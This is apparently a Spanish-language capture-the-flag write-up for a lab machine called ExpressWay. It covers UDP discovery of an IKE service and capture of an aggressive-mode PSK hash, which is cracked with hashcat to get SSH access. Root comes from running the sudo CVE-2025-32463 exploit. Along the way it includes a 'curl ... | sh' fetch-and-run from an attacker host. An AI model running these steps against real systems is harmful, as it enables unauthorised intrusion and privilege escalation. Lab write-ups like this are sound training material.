Ir al contenido

ExpressWay

Autor
Santiago Chavarro

Enumeración
#

Usamos nmap para hacer un escaneo de puertos primero rápido y luego con detección de versiones y vulnerabilidades:

sudo nmap -p- --open --min-rate 5000 -sS -Pn -n [IP] -oN allPorts

Y nos da como resultado:

# Nmap 7.95 scan initiated Sat Sep 20 19:58:22 2025 as: /usr/lib/nmap/nmap --privileged -p22 -sVC -A -oG allPorts 10.129.174.138
Host: 10.129.174.138 () Status: Up
Host: 10.129.174.138 () Ports: 22/open/tcp//ssh//OpenSSH 10.0p2 Debian 8 (protocol 2.0)/    OS: Linux 4.15 - 5.19   Seq Index: 265  IP ID Seq: All zeros
# Nmap done at Sat Sep 20 19:58:27 2025 -- 1 IP address (1 host up) scanned in 4.65 seconds

Ahora el escaneo intensivo aunque solo vemos el puerto 22:

# Nmap 7.95 scan initiated Sat Sep 20 19:57:22 2025 as: /usr/lib/nmap/nmap -p- --open -sS --min-rate 5000 -Pn -n -oN target 10.129.174.138
Nmap scan report for 10.129.174.138
Host is up (0.093s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh

# Nmap done at Sat Sep 20 19:57:35 2025 -- 1 IP address (1 host up) scanned in 13.49 seconds

No vemos nada inusual algo que habíamos visto en otra maquina llamada underpass es el uso de puertos UDP en vez de Puertos TCP en ese caso use nmap pero en esta maquina me fue demasiado lento el escaneo por lo que termine encontrando otra herramienta llamada udpz que es la que vamos a usar para descargarla este es el [github][https://github.com/FalconOpsLLC/udpz].

./udpz -r 2 [IP]  
10:30PM INF Starting scan packet_count=189 probe_count=63 service_count=54
10:30PM INF Discovered UDP service host=10.129.174.203 port=500 probe=ike:generic service=ike target=IP:10.129.174.203
10:30PM INF Scan complete duration=12189.156768 end=1758421827314206966 start=1758421815125050198
╭────────────────┬───────────┬──────┬───────┬─────────┬─────────────╮
 HOST            TRANSPORT  PORT  STATE  SERVICE  PROBES      
├────────────────┼───────────┼──────┼───────┼─────────┼─────────────┤
 10.129.174.203  UDP         500  OPEN   IKE      ike:generic 
╰────────────────┴───────────┴──────┴───────┴─────────┴─────────────╯

Vemos abierto el puerto 500 con un servicio llamado IKE, hice una búsqueda rápida y obtuve varios resultados para empezarle a hacer pruebas para vulnerar el servicio, los links quedan en la descripción.

Lo primero que nos interesa saber es la version del IKE:

ike-scan -M -A [IP]
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.174.203	Aggressive Mode Handshake returned
	HDR=(CKY-R=4bc30e44bbe2d80e)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
	KeyExchange(128 bytes)
	Nonce(32 bytes)
	ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
	VID=09002689dfd6b712 (XAUTH)
	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
	Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.108 seconds (9.25 hosts/sec).  1 returned handshake; 0 returned notify

Como podemos leer en la segunda línea Aggressive Mode Handshake returned esto indica que el modo agresivo esta activo lo que significa que el envió del PSK Hash se hace en texto plano por lo que el podemos hacer fuerza bruta a ese hash, lo que podemos hacer con este modo activo es tratar de obtener este hash de cualquier usuario.

Usuario
#

Primero vamos a obtener el hash para hacerle fuerza bruta.

ike-scan -A [IP] --id=AnyID -PTestkey
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.174.203	Aggressive Mode Handshake returned HDR=(CKY-R=67ad58144658a4c9) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.110 seconds (9.08 hosts/sec).  1 returned handshake; 0 returned notify

Y ahora con Hashcat podemos hacerle fuerza usando el rockyou.

hashcat Testkey /usr/share/wordlists/rockyou.txt

Y al final nos va a mostrar la contraseña la cual es freakingrockstarontheroad y si observamos el comando que hicimos para obtener el hash vemos que le pertenece a ike lo sabemos por la parte donde dice Value=ike@expressway.htb por lo que nos podemos conectar como ike por ssh.

Root
#

A mi opinion esta es la parte que le baja la valoración a la maquina ya que es un poco rebuscada y difícil de encontrar, en mi caso me toco usar linpeas e igual me demore bastante encontrandolá esa es mi opinion.

No voy a mostrar mis hermosos errores en esta parte pero los voy a enumerar:

  • Permisos sudo (No tenemos permitido ejecutar sudo)
  • Permisos SUID
  • Capabilities (No hay)
  • Crontabs
  • Intente encontrar una base de datos mysql porque había un usuario mysql
  • Procesos y servicio (no había nada raro)
  • En linepeas por algún motivo extraño mió vi la ruta de los correos y me puse a revisarlos

Listo lo que vamos a hacer es usar linepeas y les voy a mostrar como encontré la vulnerabilidad que nos permite escalar privilegios.

Descargamos Linpeas en nuestra maquina montamos un servidor http y descargamos el archivo en la maquina victima para ejecutarlo, esto porque la maquina no dejaba hacerlo directamente con github.

# Maquina atacante
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
sudo python3 -m http.server 

# Maquina victima
curl [Ip atacante]:8000/linpeas.sh | sh

Como ya dije las dos cosas que revise fue los correos y la que voy a mostrar, si nos dirigimos al apartado de SUID (si ya se que dije que no me funciono pero el SUID nos sirve de poco) veremos que en la parte que esta el sudo nos dice que revisemos la version.

╔══════════╣ SUID - Check easy privesc, exploits and write perms
 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
strace Not Found
-rwsr-xr-x 1 root root 1.5M Aug 14 12:58 /usr/sbin/exim4
-rwsr-xr-x 1 root root 1023K Aug 29 15:18 /usr/local/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 116K Aug 26 22:05 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 75K Sep  9 10:09 /usr/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 87K Aug 26 22:05 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 91K Sep  9 10:09 /usr/bin/su
-rwsr-xr-x 1 root root 276K Jun 27  2023 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 63K Sep  9 10:09 /usr/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 70K Aug 26 22:05 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 52K Aug 26 22:05 /usr/bin/chsh
-rwsr-xr-x 1 root root 19K Sep  9 10:09 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-- 1 root messagebus 51K Mar  8  2025 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 483K Aug 10 00:07 /usr/lib/openssh/ssh-keysign
-r-sr-xr-x 1 root root 14K Aug 28 09:04 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 15K Aug 28 09:04 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper

Específicamente en la siguiente línea:

-rwsr-xr-x 1 root root 1023K Aug 29 15:18 /usr/local/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable

Si la verificamos encontraremos una version vulnerable:

sudo -V
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17

La version 1.9.17 tiene el [CVE-2025-32463][https://github.com/mirchr/CVE-2025-32463-sudo-chwoot/blob/main/sudo-chwoot.sh] con ese exploit si lo descargamos en nuestra maquina y lo mandamos a la maquina victima igual que el linpeas habremos ganado privilegios como root.

# Maquina atacante
wget https://github.com/mirchr/CVE-2025-32463-sudo-chwoot/blob/main/sudo-chwoot.sh
python3 -m http.server

# Maquina victima
wget http://[Ip atacante]:8000/sudo-chwoot.sh
chmod +x sudo-chwoot.sh
./sudo-chwoot.sh

Y de esta forma habremos obtenido la flag como root.

Referencias
#